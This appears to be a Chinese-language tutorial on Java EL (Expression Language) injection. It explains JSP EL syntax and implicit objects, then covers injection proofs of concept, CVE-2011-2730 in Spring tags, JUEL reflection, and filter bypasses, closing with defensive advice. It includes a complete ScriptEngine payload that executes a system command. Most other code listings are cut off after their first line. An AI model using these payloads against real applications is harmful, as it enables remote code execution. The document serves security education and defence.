EL表达式注入漏洞
EL表达式简介
EL(Expression Language) 是为了使JSP写起来更加简单。它提供了在 JSP 中简化表达式的方法,让JSP的代码更加简化。
EL表达式主要功能如下:
- 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);
- 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如
${user==null}
; - 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;
- 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法;
基本语法
EL表达式语法
在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以${}
表示。例如,${ userinfo}
代表获取变量userinfo的值。当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量,例如:${pageScope. userinfo}
表示访问page范围中的userinfo变量。
简单地说,使用EL表达式语法:${EL表达式}
其中,EL表达式和JSP代码等价转换。事实上,可以将EL表达式理解为一种简化的JSP代码。
扩展JSP代码的写法总结:
JSP表达式:
<%=变量或表达式>
向浏览器输出变量或表达式的计算结果。
JSP脚本:
<%Java代码%>
执行java代码的原理:翻译到_jspService()方法中。
JSP声明:
<%!变量或方法%>
声明jsp的成员变量或成员方法。
JSP注释:
<%!--JSP注释--%>
用于注释JSP代码,不会翻译到Java文件中,也不会执行。
示例代码
[ ]与.运算符
EL表达式提供.
和[]
两种运算符来存取数据。
当要存取的属性名称中包含一些特殊字符,如.
或-
等并非字母或数字的符号,就一定要使用[]
。例如:${user.My-Name}
应当改为${user["My-Name"]}
。
如果要动态取值时,就可以用[]
来做,而.
无法做到动态取值。例如:${sessionScope.user[data]}
中data 是一个变量。
操作符
SP表达式语言提供以下操作符,其中大部分是Java中常用的操作符:
术语 | 定义 |
---|---|
算术型 | +、-(二元)、*、/、div、%、mod、-(一元) |
逻辑型 | and、&&、or、双管道符、!、not |
关系型 | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。 |
空 | empty 空操作符是前缀操作,可用于确定值是否为空。 |
条件型 | A ?B :C。根据 A 赋值的结果来赋值 B 或 C。 |
隐式对象
pageContext对象
pageContext对象是JSP中pageContext对象的引用。通过pageContext对象,您可以访问request对象。比如,访问request对象传入的查询字符串,就像这样:
1 | ${pageContext.request.queryString} |
Scope对象
术语 | 定义 |
---|---|
pageScope | 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName} 访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName} 访问对象的属性。 |
requestScope | 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName} 访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName} 访问对象的属性。 |
sessionScope | 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name} |
applicationScope | 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。 |
pageScope,requestScope,sessionScope,applicationScope变量用来访问存储在各个作用域层次的变量。
举例来说,如果需要显式访问在applicationScope层的box变量,可以这样来访问:applicationScope.box
1 | <% |
另外一些隐式对象
此外,还提供几个隐式对象,允许对以下对象进行简易访问:
术语 | 定义 |
---|---|
param | 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param . name} 相当于 request.getParameter (name)。 |
paramValues | 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name)。 |
header | 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header. name} 相当于 request.getHeader(name)。 |
headerValues | 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues. name} 相当于 request.getHeaderValues(name)。 |
cookie | 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie. name .value} 返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues. name} 表达式。 |
initParam | 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。 |
param和paramValues对象
param和paramValues对象用来访问参数值,通过使用request.getParameter方法和request.getParameterValues方法。
举例来说,访问一个名为username的参数,可以这样使用表达式:${param.username},或者${param[“username”]}。
paramValues返回的是一个字符串数组
header和headerValues对象
header和headerValues对象用来访问信息头,通过使用request.getHeader()方法和request.getHeaders()方法。
举例来说,要访问一个名为user-agent的信息头,可以这样使用表达式:${header.user-agent}
,或者${header["user-agent"]}
。
接下来的例子表明了如何访问user-agent信息头:
headerValues返回的是一个字符串数组
EL表达式函数
EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下:
1 | ${ns:func(param1, param2, ...)} |
ns指的是命名空间(namespace),func指的是函数的名称,param1指的是第一个参数,param2指的是第二个参数,以此类推。比如,有函数fn:length,在JSTL库中定义,可以像下面这样来获取一个字符串的长度:
1 | ${fn:length("Get my length")} |
要使用任何标签库中的函数,您需要将这些库安装在服务器中,然后使用<taglib>
标签在JSP文件中包含这些库。
EL表达式调用Java方法
新建一个Person类
1 | package ghtwf01.demo; |
接着在WEB-INF文件夹下(除lib和classess目录外)新建test.tld文件,其中指定执行的Java方法及其URI地址:
1 |
|
JSP文件中,先头部导入taglib标签库,URI为test.tld中设置的URI地址,prefix为test.tld中设置的short-name,然后直接在EL表达式中使用类名:方法名()
的形式来调用该类方法即可:
1 | <%@ taglib prefix="Person" uri="http://localhost:8888/Person" %> |
JSP中启用/禁用EL表达式
全局禁用EL表达式
web.xml中进入如下配置:
1 | <jsp-config> |
单个文件禁用EL表达式
在JSP文件中可以有如下定义:
1 | <%@ page isELIgnored="true" %> |
该语句表示是否禁用EL表达式,TRUE表示禁止,FALSE表示不禁止。
JSP2.0中默认的启用EL表达式。
例如如下的JSP代码禁用EL表达式:
1 | <%@ page isELIgnored="true" %> |
EL表达式注入漏洞
EL表达式注入漏洞很简单,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。
POC:
1 | // 执行命令 |
CVE-2011-2730 Spring标签EL表达式漏洞
首先需要Spring标签库spring.tld
spring提供的message标签,其中的text属性支持el表达式,可导致el注入,我们使用如下测试代码
1 | <%-- |
直接传入a为${applicationScope}即可获取webRoot,同样传入命令执行payload即可RCE
Java代码中的EL注入——JUEL
EL曾经是JSTL的一部分。然后,EL进入了JSP 2.0标准。现在,尽管是JSP 2.1的一部分,但EL API已被分离到包javax.el中, 并且已删除了对核心JSP类的所有依赖关系。换句话说:EL已准备好在非JSP应用程序中使用。
也就是说,现在EL表达式所依赖的包javax.el等都在JUEL相关的jar包中。
JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现,具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。
需要的jar包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7
利用反射调用Runtime类方法实现命令执行:
1 | import de.odysseus.el.ExpressionFactoryImpl; |
运行即可触发
getValue方法解析了EL表达式并执行
绕过方法
利用反射机制绕过
即前面Demo的POC,注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤。
利用ScriptEngine调用JS引擎绕过
1 | ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")} |
防御方法
尽量不使用外部输入的内容作为EL表达式内容;
若使用,则严格过滤EL表达式注入漏洞的payload关键字;
如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:
1
2javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()